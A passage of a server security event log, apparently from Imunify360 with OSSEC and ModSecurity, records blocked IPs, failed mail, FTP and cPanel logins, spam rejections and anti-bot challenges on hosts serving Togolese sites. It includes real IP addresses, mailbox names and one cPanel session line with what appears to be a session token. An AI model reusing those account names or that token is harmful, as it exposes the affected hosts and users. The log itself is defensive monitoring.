103.108.92.87 - - [19/Jun/2026:04:25:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9987734&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781843109 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.157
country_id: 3175395
description:
Jun 19 04:25:12 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.157
country_id: 3175395
description:
Jun 19 04:25:27 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.157 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 183.171.249.54
country_id: 1733045
description:
183.171.249.54 - - [19/Jun/2026:04:26:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050899&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Ftags%252F26095&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781843172 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/tags/26095" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:183.171.249.54


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.140.250.73
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:04-26.45.140.250.73||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.140.251.51
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:04-26.45.140.251.51||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.140.251.190
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:45.140.251.190||TA:45.140.251.190||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-06-19 04:29:54 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:54656: 535 Incorrect authentication data (set_id=careers@soena.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-06-19 04:30:19 dovecot_login authenticator failed for H=(85-19-195-12.telia-isp.no) [85.19.195.12]:53276: 535 Incorrect authentication data (set_id=careers)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 168.232.168.2
country_id: 3608932
description:
168.232.168.2 - - [19/Jun/2026:04:31:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6777961&pdata=https%253A%252F%252Fcfpj.tg%252Feedo-344836mitems%252Fetidm.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781843475 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/eedo-344836mitems/etidm.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:168.232.168.2


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.122.98.168
country_id: 3996063
description:
Jun 19 04:30:45 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.122.98.168 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 2.76.83.16
country_id: 1522867
description:
2026-06-19 04:33:51 H=([2.76.83.16]) [2.76.83.16]:53825 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.255.6.59
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/05/ANVT-Togo-Niger.jpg 1000w, http:/togodailynews.tg/wp-content/uploads/2021/05/ANVT-Togo-Niger-300x172.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2021/05/ANVT-Togo-Niger-768x439.jpg 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.65.40.237
country_id: 2017370
description:
Jun 19 04:34:52 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.65.40.237 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.65.40.237
country_id: 2017370
description:
2026-06-19 04:34:54 dovecot_login authenticator failed for H=([178.65.40.237]) [178.65.40.237]:40915: 535 Incorrect authentication data (set_id=careers@armp.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:04:35:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6933616&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781843747 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 04:36:01 +0000] info [cpaneld] 185.55.240.13 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.115.172.39
country_id: 3923057
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/03/eff-qk5eobriuwslhe5j4yxyp6mcfmx7w1udjxsk6ykjuw.webp 800w, http:/togodailynews.tg/wp-content/uploads/2026/03/eff-qk5eobriuwslhe5j4yxyp6mcfmx7w1udjxsk6ykjuw-300x188.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/03/eff-qk5eobriuwslhe5j4yxyp6mcfmx7w1udjxsk6ykjuw-768x480.webp 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:04:35:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6776215&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781843747 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.148.129
country_id: 99237
description:
Jun 19 04:36:08 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.148.129 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:04:36:46 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 155.4.31.215
country_id: 2661886
description:
Jun 19 04:37:19 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 155.4.31.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-06-19 04:37:21 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se ([120.236.70.4]) [155.4.31.215]:47718: 535 Incorrect authentication data (set_id=phipa@centif.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 115.135.198.217
country_id: 1733045
description:
115.135.198.217 - - [19/Jun/2026:04:37:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10198174&pdata=https%253A%252F%252F24heureinfo.tg%252Fa-la-une%252Frevue-de-la-performance-des-reformes&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781843839 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/a-la-une/revue-de-la-performance-des-reformes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:115.135.198.217


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:04:36:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:04:36:47 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:04:36:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.55
country_id: 690791
description:
Jun 19 04:39:15 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.55 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.55
country_id: 690791
description:
Jun 19 04:39:28 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.55 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.43.79.243
country_id: 6254930
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1524725501 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:04:40:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9986663&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781844000 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.123
country_id: 3469034
description:
Jun 19 04:47:07 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.123 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:04:49:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:04:49:16 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:04:49:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:04:49:19 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.205
country_id: 337996
description:
2026-06-19 04:50:03 dovecot_login authenticator failed for H=(netacc-gpn-5-51-158.pool.yettel.hu) [196.188.187.205]:45024: 535 Incorrect authentication data (set_id=phipa@centif.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.76.106.13
country_id: 6252001
description:
Jun 19 04:49:35 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.76.106.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.237.155.150
country_id: 1835841
description:
Jun 19 04:50:36 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.237.155.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.237.155.150
country_id: 1835841
description:
2026-06-19 04:50:38 dovecot_login authenticator failed for H=([182.95.87.177]) [1.237.155.150]:53552: 535 Incorrect authentication data (set_id=phipa)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 39.182.6.67
country_id: 1814991
description:
2026-06-19 04:50:29 H=([39.182.6.67]) [39.182.6.67]:24312 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.185
country_id: 2635167
description:
[2026-06-19 04:52:22 +0000] info [cpaneld] 5.230.153.185 NEW hgfdcvbnk:bhBYncQhRhlyrHSU address=5.230.153.185,app=cpaneld,creator=hgfdcvbnk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:04:51:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6460775&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781844684 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 39.182.6.67
country_id: 1814991
description:
2026-06-19 04:51:54 H=([39.182.6.67]) [39.182.6.67]:24306 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 04:52:28 +0000] info [cpaneld] 185.55.240.13 - stephane.o@cafe.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-06-19 04:53:34 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:41994: 535 Incorrect authentication data (set_id=careers@togosem.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-06-19 04:54:33 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:43324: 535 Incorrect authentication data (set_id=careers@dany2.mairie.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:04:55:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13069718&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781844924 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.74.172.233
country_id: 1733045
description:
180.74.172.233 - - [19/Jun/2026:04:55:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7184279&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcommune-de-bas-mono-1-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781844943 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/commune-de-bas-mono-1-recrute/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.9237.1111 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.74.172.233


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.4.36
country_id: 690791
description:
Jun 19 04:55:42 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.4.36 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 39.182.6.67
country_id: 1814991
description:
2026-06-19 04:56:29 H=([39.182.6.67]) [39.182.6.67]:3446 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.132
country_id: 3469034
description:
Jun 19 04:56:53 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.132 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:04-57.213.32.21.59||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-06-19 04:57:29 dovecot_plain authenticator failed for H=(asess) [102.53.15.18]:34859: 535 Incorrect authentication data (set_id=admin@cameg-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 193.43.140.189
country_id: 163843
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/3b566e HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 39.182.6.67
country_id: 1814991
description:
2026-06-19 05:00:15 H=([39.182.6.67]) [39.182.6.67]:3388 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.29.192.116
country_id: 3351879
description:
2026-06-19 04:59:45 H=([196.29.192.116]) [196.29.192.116]:51623 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.29.192.116
country_id: 3351879
description:
2026-06-19 05:01:14 H=([196.29.192.116]) [196.29.192.116]:52502 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:05:02:51 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:05:02:49 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:05:02:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:05:02:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 128.85.77.245
country_id: 6252001
description:
128.85.77.245 - - [19/Jun/2026:05:03:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855326&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-processus-demande-certificat-nationalite%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781845421 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-processus-demande-certificat-nationalite/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:128.85.77.245


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.16.204
country_id: 6252001
description:
Jun 19 05:04:48 ns5 pure-ftpd[3555384]: (?@45.38.16.204) [WARNING] Authentication failed for user [nwvfmxat]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:05:05:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13025892&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781845553 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
